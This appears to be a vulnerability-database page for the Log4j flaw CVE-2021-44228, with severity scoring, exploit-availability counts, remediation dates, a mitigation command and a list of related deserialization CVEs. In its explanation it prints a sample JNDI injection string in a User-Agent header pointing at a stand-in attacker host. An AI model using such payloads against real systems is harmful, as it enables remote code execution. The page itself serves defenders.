CVE-2021-44228Critical· 10.0▾ Hadal⚠ Exploited in the wild0dayPoC availableLog4j 2 evaluates ${jndi:...} lookups in logged strings, allowing an attacker who controls any logged value to load and execute remote code via LDAP/RMI. Trivial to exploit, ubiquitous, and mass-exploited within hours of disclosure.
▾ Hadal zone — Critical and actively exploited (CISA KEV / 0day)
impact 55 · likelihood 20 · exploitation 25 · ransomware 5
A public proof-of-concept already exists for this vulnerability — see Exploit availability below.
Public exploit / PoC code seen in 4 sources. Availability, not in-the-wild use.
Exploit-prediction probability, daily snapshots since Sep 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Federal remediation due Dec 24, 2021
100%
Exploit-DB · 452 GitHub repos · Metasploit ×5 · Nuclei ×1 (last check)
Added to the CISA catalog on Dec 10, 2021. Federal remediation due Dec 24, 2021. View catalog ↗
Apache Log4j 2 supports message lookups, including a ${jndi:...} form. When an
attacker-controlled string containing ${jndi:ldap://attacker/x} is logged, Log4j
resolves the JNDI reference, fetches a remote class, and executes it — full
unauthenticated remote code execution.
Because applications routinely log untrusted input (User-Agent, headers, form fields, usernames), the attack surface is enormous.
User-Agent: ${jndi:ldap://attacker.example/a}
Any code path that logs the header triggers the lookup.
All 2.0-beta9 through 2.14.1. The complete fix is 2.17.1 (earlier 2.15/2.16
patches were incomplete — see CVE-2021-45046, CVE-2021-45105).
JndiLookup class —
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.jndi: strings and unexpected outbound LDAP connections.Connected by shared product, vendor, weakness, or advisory.
CVE-2017-12149Critical· 9.8In Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2, it was found that the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserializatio…
CVE-2021-23758High· 8.1All versions of package ajaxpro.2 are vulnerable to Deserialization of Untrusted Data due to the possibility of deserialization of arbitrary .NET classes, which can be abused to gain remote code execution.
CVE-2020-0618High· 8.8A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability'.
CVE-2021-26857High· 7.8Microsoft Exchange Server Remote Code Execution Vulnerability
CVE-2023-0669High· 7.2Fortra (formerly, HelpSystems) GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object
CVE-2025-10035Critical· 10.0A deserialization vulnerability in the License Servlet of Fortra's GoAnywhere MFT allows an actor with a validly forged license response signature to deserialize an arbitrary actor-controlled object, possibly leading to command injection.